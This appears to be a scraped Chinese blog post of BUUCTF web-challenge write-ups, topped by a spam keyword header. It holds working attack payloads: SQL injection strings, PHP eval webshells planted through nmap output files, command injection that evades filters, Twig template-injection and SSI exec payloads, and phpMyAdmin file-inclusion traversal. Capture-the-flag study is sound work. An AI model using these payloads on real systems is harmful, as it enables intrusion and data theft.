日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

BUUCTF(web刷题记录一)

發布時間:2023/12/20 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BUUCTF(web刷题记录一) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

記錄BUUCTF的web題

目錄

Easy Calc(rce)

CheckIn

BackupFile(sql)

Easy MD5

Online Tool(rce)

Fakebook(ssrf+sql)

The mystery of ip(rce+ssti)

ZJCTF,不過如此(php偽協議,文件包含,遠程代碼執行)

我有一個數據庫(文件包含)

Mark loves cat (變量覆蓋)

easy_web 1

Had a bad day(文件包含)

高明的黑客?

Web1

樸實無華(代碼審計,rce)

Cookie is so stable

Nmap

PYWebsite

EasySearch

NiZhuanSiWei(反序列化,PHP偽協議)

RCE ME?

phpweb(反序列化)

Can you guess it?

EasySQL(二次注入)


Easy Calc(rce)

(命令執行還蠻多的,雖然學完了命令執行但是還是狠狠地漲知識了)

打開一看是簡單計算器,隨便輸入看看

發現字母輸入不了,查看源碼

發現是在calc.php里面計算的,而且提示說存在Waf

如果傳入字母和一些其它字符,就會顯示Forbidden
403Forbidden是HTTP協議中的一個狀態碼(Status Code)。可以簡單的理解為沒有權限訪問此站。
該狀態表示服務器理解了本次請求但是拒絕執行該任務

可知這就是WAF

這些字母應該就是Waf過濾的,訪問calc.php

<?php error_reporting(0); if(!isset($_GET['num'])){show_source(__FILE__); }else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');// 存在高危漏洞,可以上傳非法字符 } ?>

這個代碼是黑名單限制,傳參了之后會進行一個正則過濾,如果符合規則會執行eval()。(還沒有完全看懂這個代碼,搞懂了再補后續)

繞waf

php的解析規則

我們知道PHP將查詢字符串(在URL或正文中)轉換為內部關聯數組$_GET或關聯數組$_POST。例如:/?foo=bar變成Array([foo] => “bar”).? ?值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替

php需要將所有參數轉換為有效的變量名,因此在解析查詢字符串的時候,它會做兩件事:

①刪除前后的空白符(空格符,制表符,換行符等統稱空白符)

②將某些字符轉換為下劃線(包括空格)

‘num’被限制了,那么' num'呢,在num前面加了空格,這樣waf就找不到num這個變量了,因為waf只是限制了num,waf并沒有限制’ num’,當php解析的時候,又會把'?num'前面的空格去掉再解析,利用這點進行繞過Waf來上傳非法字符。

因為本題涉及過濾,所以我們查看一下禁用的函數(disable_functions)發現system()等好多PHP執行系統外部命令函數都被禁用。

首先我們要先掃根目錄下的所有文件,也就是可以用?scandir("/")?,但是??"/"?被php代碼過濾了,所以我們用chr(47)繞過

構造

? num=var_dump(scandir(chr(47))

發現flagg文件

然后讀取該文件就好啦(本題并沒有過濾掉f1agg 所以可以不用chr()函數)

os:剛開始我傳參是這樣的:

? num=scandir(chr(47))?

發現沒有回顯,查了一下才知道,因為回顯的是數組形式,php是不會直接輸出的,所以要借用var_dump或者print_r .? ?這兩個函數都可以數組和對象打印出來

用file_get_contents()函數來代替system()

構造:

? num=var_dump(file_get_contents(chr(47).f1agg))

得到flag?

文章參考:Buuctf(Easy Calc 1)_小小大空翼的博客-CSDN博客

PHP執行系統外部命令函數:exec()、passthru()、system()、shell_exec()_lxw1844912514的博客-CSDN博客

CheckIn

有空再更這道題

BackupFile(sql)

提交1,正常回顯

提交2,回顯為2,可以判斷為字符型注入

輸入select看看是否有回顯

?可以看到并沒有限制到關鍵字show

先查詢庫名

1';show databases;#

?

繼續獲取表名?

1';show tables;

得到了兩個表,查詢FlagHere

1';desc FlagHere;

?查詢FlagHere表的flag列,因為select被過濾了,可以通過使用HANDLER進行查詢

參考:

相關語法: HANDLER tbl_name OPEN [ [AS] alias]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE? //其中 ?HANDLER tbl_name OPEN AS example //其后 ?HANDLER example READ index_name="example2"

構造payload

1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#

??成功得到flag

Easy MD5

打開題目,嘗試sql注入沒反應

?直接上burp,

可以看到 header 里面有 hint

后臺確實執行了我們的查詢,但是在通過where時,條件不匹配,導致報錯

需要password=md5($pass,true)條件為真時,才會執行select * form admin

md5()函數會將我們輸入的值,加密,然后轉換成16字符的二進制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c轉換成16位原始二進制格式為'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,這個字符串前幾位剛好是' or '6

所以輸入ffifdyop后,內部執行語句就會變為

select * from 'admin' where password='or '6�]��!r,��b'

但是為什么偏偏當password='or'6�]��!r,��b'時,會判斷為真呢?在mysql內,用作布爾型判斷時,以1開頭的字符串會被當做整型數。要注意的是這種情況是必須要有單引號括起來的,比如password=' or '1xxxx',那么就相當于password=' or 1,所以返回值就是true
那么select查詢語句就簡化為

select * from 'admin' where password=' or?6

這樣就可以繞過md5函數

?按照回顯訪問levels91.php

查看源碼,是md5弱比較 ,為0e開頭的會被識別為科學記數法,結果均為0

直接網上找兩個數傳參

?md5強比較,直接用數組繞過即可,md5()函數無法解出數值,就會得到===強比較的值相等

Online Tool(rce)

打開題目,又是代碼審計捏

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }if(!isset($_GET['host'])) {highlight_file(__FILE__); } else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }

remote_addr和x_forwarded_for這兩個是見的比較多的,服務器獲取ip用的,這里沒什么用

escapeshellarg()和escapeshellcmd() 沒怎么見過,網上找找資料說這兩個放在一起用會有問題

(具體的繞過參考師傅博客:傳送門)

1)傳入的參數是:172.17.0.2' -v -d a=1
2)經過escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。
3)經過escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最后那個不配對兒的引號進行了轉義
4)最后執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發起請求,POST 數據為a=1'。

大概來說就是兩次轉譯后出現了問題,沒有考慮到單引號的問題

往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

這有個system來執行命令,而且有傳參,應該就是利用這里了

nmap命令中 有一個參數-oG可以實現將命令和結果寫到文件

所以構造payload:

?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '

這里有個需要注意的:

最后面要加引號且引號前面要空格

如果不加,當兩個函數執行并echo出來后就會變成:<?php eval($_POST["shell"]);?> -oG shell.php\\,轉義出來的反斜杠會和php后綴連在一起,會上傳失敗

得到文件名,上蟻劍連接,在根目錄下找到flag。

或者直接構造payload:單引號被轉義過濾了,可以使用反引號來進行繞過

?host=' <?php echo `cat /flag`;?> -oG shell.php '

直接訪問shell.php

Fakebook(ssrf+sql)

真是正在學什么準備學什么就寫到什么題

打開題目,是一個登錄,注冊界面,那就試注冊個賬戶

?注冊成功,但是發現沒有辦法回訪之前的界面了,那就直接轉登錄界面login.php

?查看源代碼,有傳參,有疑點,極其可能存在sql注入

?直接訪問view.php?no=1

?手動注入試試看

?

確實存在sql注入,爆字段,試到5的時候報錯那么字段數就是4了

?那么下面可以用union注入查詢(剛開始試的是報錯注入,布爾注入也行但是我還不會寫腳本又不想網上一把找腳本又懶得看sqlmap)剛開始以為是過濾關鍵字,大小寫雙寫繞過都不行,最后發現是有waf(巧得很,最近剛要學waf),那么用內斂注釋符進行繞過(過濾了空格)

接下來就簡單多了

(插個報錯注入,嫌棄后面調數麻煩就放棄了)

union注入

爆數據庫

?no=-1 union/**/select 1,database(),3,4--+

爆表

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+

爆字段

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

?爆 no,username.passwd,data(各字段內容用'|'來分隔了,不然一大堆看著也難受)

?no=-1 union/**/select 1,group_concat(no,'|',username,'|',passwd,'|',data),3,4 from users--+

?看到這個data的內容是序列化數據??不太對勁,難道還有反序列化???應該是還有其他的切入點沒有發現,再回去進行一波信息收集,查看robots.txt

?發現有備份文件,訪問直接下載,是源碼

<?phpclass UserInfo {public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}?>

?分析一下:

1)注冊界面輸入的blog經過了isValidBlog()函數的過濾,不然直接在注冊界面blog處輸入file:///var/www/html/flag.php就能拿到flag

2)這個一看的話就合理解釋了之前的url傳參sql注入

function get($url){$ch = curl_init(); //創建一個curl資源//設置curl和相關的選項curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch); //抓取url并傳給瀏覽器$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch); //關閉curl資源return $output; } //就是看url

3)從上面知道get()函數存在ssrf漏洞,如圖,get()函數在此調用,而$blog又是我們可控的

public function getBlogContents (){return $this->get($this->blog);}

4)那為什么會有序列化?我想應該是在我們注冊后,把我們的信息序列化一下,然后存進data。在user界面,取出blog,獲取資源。

那就很簡單了,下面就將file:///var/www/html/flag.php加入到我們的序列化數據里面

(直接拿源碼改遼)

<?php class UserInfo{public $name = "";public $age = 0;public $blog ="";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);} } $a=new UserInfo(naruku,16,'file:///var/www/html/flag.php'); echo serialize($a); ?>

得到

O:8:"UserInfo":3:{s:4:"name";s:6:"naruku";s:3:"age";i:16;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

配合sql注入傳參:

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"naruku";s:3:"age";i:16;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

?成功繞過

?查看源碼

我的直接點得到flag了

The mystery of ip(rce+ssti)

點開flag模塊?

看源碼,在hint中看到這句話,自然而然想到x-forwarded-for

抓包構造x-forwarded-for,發現IP會根據x-forwarded-for的設定而變化?

剛開始想會不會是sql注入,但是以后排除這種可能,料想可能是ssti+rce

可以看到命令被執行了,那就簡單遼

ZJCTF,不過如此(php偽協議,文件包含,遠程代碼執行)

打開題目,代碼審計

<?phperror_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file); //next.php} else{highlight_file(__FILE__); } ?>

看到include想到了文件包含并且提示了next.php,那就利用PHP偽協議來讀取這個文件

php://input

作用:執行POST數據中的Php代碼

構造paload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php

POST:

I have a dream

得到一堆base64,解碼得

<?php $id = $_GET['id']; $_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); }foreach($_GET as $re => $str) {echo complex($re, $str). "\n"; }function getFlag(){@eval($_GET['cmd']); }

代碼審計,分析以下可利用的點

利用點一:

function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); }

這里preg_replace使用了/e模式,導致可以代碼執行。而且該函數的第一個和第三個參數我們是可以控制的。preg_replace 函數在匹配到符號正則的字符串時,會將替換字符串(第二個參數)當做代碼來執行,但是這里的第二個參數卻固定為 ‘strtolower(“\1”)’ 字符串。上面的命令執行,相當于 eval(‘strtolower(“\1”);’) 結果,當中的 \1 實際上就是 \1 ,而 \1 在正則表達式中有自己的含義。

反向引用

對一個正則表達式模式或部分模式 兩邊添加圓括號 將導致相關 匹配存儲到一個臨時緩沖區 中,所捕獲的每個子匹配都按照在正則表達式模式中從左到右出現的順序存儲。緩沖區編號從 1 開始,最多可存儲 99 個捕獲的子表達式。每個緩沖區都可以使用 ‘\n’ 訪問,其中 n 為一個標識特定緩沖區的一位或兩位十進制數。所以這里的 \1 實際上指定的是第一個子匹配項
?

構造payload:

/?.*={${phpinfo()}}

即以GET方式傳入的參數名為/?.*,值為phpinfo()。

原先的語句:

preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);

語句就變成了:

preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

但是如果我們用get的方式傳參?.*={${phpinfo()}},就會發現無法執行phpinfo()函數,這是由于在PHP中,對于傳入的非法的$_GET數組參數名,會將其轉化為下劃線,則會就導致了正則匹配失效。所以要做的就是換一個正則表達式,讓其匹配到{${phpinfo()}}即可執行phpinfo函數。這里可以構造payload: \S*=${phpinfo()}執行,便可得到phpinfo頁面。(\S匹配任何非空白字符)

根據題意,我們可以構造payload:(通過preg_match遠程代碼執行來調用getFlag()函數)

\S*=${getFlag()}

利用點二:

function getFlag(){@eval($_GET['cmd']); }

直接構造payload:

cmd=system('cat /flag')

那么總的payload就是

next.php? \S*=${getFlag()}&cmd=system(' cat /flag');

我有一個數據庫(文件包含)

打開,亂碼,看源碼沒什么信息,看看rotbots.txt?

?訪問phpinfo.php看看

題目說我有一個數據庫,掃一下后臺看看還有什么信息嗎?

掃后臺掃到/phpadmin

(用御劍掃后臺,但是掃不到什么,那就只能有dirsearch來掃描后臺了)

訪問:

http://42751f04-7dee-4693-aac7-26b8aa5cb46e.node4.buuoj.cn:81/phpmyadmin/

查看phpadmin后臺管理版本

在phpMyadmin 4.8.x版本中,程序沒有嚴格控制用戶的輸入,攻擊者可以利用雙重編碼繞過程序的白名單限制,造成 本地文件包含漏洞。

之前復現過phpadmin文件包含漏洞(傳送門),直接構造payload:

/?target=db_sql.php%3f/../../../../../../../../flag

Mark loves cat (變量覆蓋)

打開題目,找了一下沒什么發現,直接掃目錄,可以知道有.git源碼泄露,但是發現Githack可以掃除兩個Php文件,但是卻沒有辦法下載下來,直接在網上找這兩個文件了

flag.php

<?php $flag = file_get_contents('/flag'); ?>

index.php

<?php include 'flag.php';$yds = "dog"; $is = "cat"; $handsome = 'yds';foreach($_POST as $x => $y){$$x = $y; }foreach($_GET as $x => $y){$$x = $$y; }foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);} }if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds); }if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is); }echo "the flag is: ".$flag;

分析:

前兩個foreach語句分別將POST參數和GET參數進行變量覆蓋,接著是三個if語句,exit()函數退出腳本的同時輸出變量,最后一句是輸出我們想要的flag。


首先我們想到的肯定是讓腳本執行到最后一句echo $flag;,但即使繞過三個if語句,我們GET傳參或者POST傳參的flag總會被變量覆蓋:如我們GET傳參flag=aaa,在第二個foreach語句中變成$flag = $aaa,而$aaa變量沒有定義為空,最后的輸出就是空

同理:我們POST傳參flag=aaa,在第一個foreach語句中變成$flag= aaa,flag被覆蓋為‘aaa’,最后輸出aaa

?

解法一:利用exit($yds)

exit($yds)的執行條件是:post,get都不傳參flag

if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds); }

進行get傳參?yds=flag

get傳參進入第二個foreach,這時$x=yds,$y=flag,所以$$x=$yds,$y=$flag,$yds=$flag。

解法二:利用exit($is)

exit($is)的執行條件:

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is); }

get傳參?is=flag&flag=flag(和解法一同理,flag=flag是為了符合執行條件)?

還有其他的解法,有空再補充

easy_web 1

打開題目,好家伙嘲諷一波

看一下源碼

應該是和md5有關,返回頁面可以就看到url有點蹊蹺

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

?base64解密一下,發現是兩次base64解密得到一串十六進制數字,再解密,得到555.png

那就是說這里應該是個突破口(cmd應該也是突破口),那么先試試index.php,加密后得到字符串:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

構造payload:

?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

得到回顯,base64解密得到Index.php的源碼

<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag"); } else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>"; } else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");} }?>

可以看到cmd過濾了很多關鍵字(有點奇怪這道題沒有回顯,等搞清楚再來補充)

Had a bad day(文件包含)

打開題目,隨便點點

?url有疑點,懷疑是sql或者文件包含

這樣的話就只可能是文件包含了,試著利用文件包含讀取去index.php源碼

構造payload:

?category=php://filter/convert.base64-encode/resource=index

得到base64碼,解碼:

<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){include ($file . '.php'); } else{echo "Sorry, we currently only support woofers and meowers.";} } ?>

分析了一下,大概就是說入的category需要有woofers或meowers或index才能包含傳入以傳入名為文件名的文件,我們要想辦法包含flag.php

構造payload:

?category=php://filter/read=convert.base64-encode/resource=index/../flag

因為相對路徑是計算出來的,中間目錄如果不存在也沒關系

得到base64碼,解碼得:

高明的黑客?

下載壓縮包,里面基本上都是php文件,超多,這道題考寫腳本的能力,剛好學了python 先試試能不能理解,先從簡單的開始

搞懂再更

Web1

打開題目,是一個登錄界面,那么注冊一個用戶,進入之后沒什么提示,但有一個申請上傳廣告的界面

?url有疑,申請廣告這個頁面懷疑有sql注入,找找注入點

?

?判斷就是標題處頭注入點并且過濾了注釋符和空格,那就用內斂注釋符來代替空格進行繞過,用單引號進行閉合。

?試到22成功,2和3是回顯點

?爆庫:

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

?爆表:

-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.tables/**/where/**/table_schema=database()'

?又過濾了,試了大小寫和雙寫都沒有辦法進行繞過,那就是沒有辦法使用information_schema這張表了。

發現還有其他表如mysql.innodb_table_statssys.schema_table_statistics_with_buffer可以看表名、數據庫名,就是沒有列名。

這里要用到無列名注入(沒遇到過,漲知識)

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

?無列名注入:具體參考:傳送門

假設有tableX

userpassword
admin11234
admin25678

我們輸入查詢語句:

select 1,2 union select * from tableX;
12
admin11234
admin25678

他會生成一個1,2, 再提取tableX的內容來臨時生成一張新表,卻不會提取tableX的列名。在這張新表中,我們用的這個數字邊如同替換了列名。我們便可用這個2在這張臨時的表中指定想要查看的列名。

select `2` from (select 1,2 union select * from tableX)a;

這句話的意思是,使用括號內的select語句構建一張新表a,然后從a中選取列名為‘2’的列,即原來的passwd列。至此,我們便完成了無列名注入。(如果反引號?`?被過濾,我們可以使用別名替代。)

select b from (select 1,2 as b union select * from tableX)a;

所以查詢表中內容:

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'


?查詢表內容:

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/web1.users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

這里為什么是三列呢,因為users表一般為id,username,password三列,而flag一般在username或者password

樸實無華(代碼審計,rce)

打開題目,亂碼?

一上來就叫我hack它?這我也得找找切入點吧,之前也是大概做了到亂碼的題目加上題目有bot,直接查看rotbots.txt

?訪問一下

耍人?想到之前題目有個報錯說什么header,直接上Bp看看?

真的藏了個fl4g.php,直接訪問,得到源碼(旦總我不想被安排去非洲吶)?

<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__);//level 1 if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不經意間看了看我的勞力士, 不是想看時間, 只是想不經意間, 讓你知道我過得比你好.</br>";}else{die("金錢解決不了窮人的本質問題");} }else{die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到這個CTFer拿到flag后, 感激涕零, 跑去東瀾岸, 找一家餐廳, 把廚師轟出去, 自己炒兩個拿手小菜, 倒一杯散裝白酒, 致富有道, 別學小暴.</br>";elsedie("我趕緊喊來我的酒肉朋友, 他打了個電話, 把他一家安排到了非洲"); }else{die("去非洲吧"); }//get flag if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到這里, 我充實而欣慰, 有錢人的快樂往往就是這么的樸實無華, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");} }else{die("去非洲吧"); } ?>

level1:為了不被安排去非洲,只能勇闖三關了

傳入一個參數num,經過intval函數既要小于2020并且加一要大于2021,看一下這個函數

?

?這個函數在用科學計數法的時候,只會保留前面的1

構造payload:

?num=1e10

?哦豁第一關闖關成功

level2:來個拿手小菜

直接網上一把找get傳參的值和md5加密后的值相等的數值,即0e215962017 的 MD5 值也是由 0e 開頭,在 PHP 弱類型比較中相等

構造payload:

?num=1e10&md5=0e215962017

?馬上逃離非洲!!

level3:

if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到這里, 我充實而欣慰, 有錢人的快樂往往就是這么的樸實無華, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");} }else{die("去非洲吧"); }

可以看到過濾了cat和空格,都好繞過,先看看當前目錄有什么文件

傳參:

?num=1e10&md5=0e215962017&get_flag=ls

?知道flag是哪個文件啦,那就簡單啦

cat 用 ca\t 繞過,空格用${IFS}來繞過,傳參:

?num=1e10&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag,成功逃過被安排去非洲的命運!!!

Cookie is so stable

打開題目,題目說是cookie微妙,hint.php源碼也在暗示cookie,抓包看看,剛開始覺得會不會是cookie注入攻擊,但是嘗試無果

?卡住了,看來其他師傅的wp,好家伙,我還真沒有學到,又來漲知識。

解題過程:

?抓包,發現cookie里面有user,確定是ssti模板注入。下面來判斷是哪一個模塊

判斷其模板引擎類型方法:

?在cookie的user處輸入{{7*7}}來進行判斷

返回49(返回7777777表示是 Jinja2 模塊),說明是Twig模板引擎?

確定后直接在網上找個合適的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

Nmap

剛開始以為是rce,直接試: 127.0.0.1 | ls?

發現 ' | '被轉義了,試試其他的管道符,發現都被辦了,沒什么思路,看來其他師傅的wp,說是要利用nmap寫入一句話木馬,想起之前做的Online Tool也是利用這個來getshell,嗚嗚嗚腦子笨沒有聯想到,改天回去歸納總計一下,知道這個解題思路就很簡單了

127.0.0.1 | ' <?= @eval($_POST["shell"]);?> -oG hack.php '

?進行繞過

127.0.0.1 | ' <?= @eval($_POST["shell"]);?> -oG hack.phtml '

phtml后要有空格,不然上傳的文件會變成下面的樣子

?查看掃描列表:

點進訪問hack.phtml文件?

?連接蟻劍,在根目錄下找到flag即可

PYWebsite

打開題目,說是要購買flag,f12查看一下源碼

發現有個flag.php,訪問一下看看

看到說保存了IP驗證,那就聯想到了X-Forward-For,直接抓包構造X-Forwarded-For: 127.0.0.1

得到flag.php?

EasySearch

又是登錄界面,試了試登錄,失敗遼,那就常規掃后臺

掃出個index.php.swp備份,訪問看源碼

<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}*** ?>

分析一下:

1)首先要求password的md5值的前6個字符為6d0bc1。

跑個腳本?

2)

$file_shtml = "public/".get_hash().".shtml"; # 創建文件 $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); # $text = '******<h1>Hello,'.$_POST['username'].'</h1>******'; # 將 變量$text 的內容 寫入 $shtml 文件 fwrite($shtml,$text); # 關閉文件 fclose($shtml);

解題過程:

post傳參:

username=123&password=2020666

直接F12看相應頭?

訪問,另外可以注意到這是個shtml。簡單來說就是能根據命令動態回顯網頁的某個部分,比如時間。可以注入,用來遠程命令執行。Hello,'.$_POST['username'].'是可以作為注入點來進行輸出我們想要的信息

格式為:?

<!--#exec cmd="命令"-->

常規查看目錄

username=<!--#exec cmd="ls"-->&password=2020666

沒明顯的flag目錄,查看上級目錄

username=<!--#exec cmd="ls .."-->&password=2020666

直接讀取(因為flag文件是上一個目錄的,所以 ../ 要保留)

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

得到flag

NiZhuanSiWei(反序列化,PHP偽協議)

打開題目,代碼審計

<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;} } else{highlight_file(__FILE__); } ?>

題目提示useless.php,先讀取一下這個文件的源碼

構造payload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&password=123 POST傳:welcome to the zjctf

得到一堆base64碼,解碼得到:

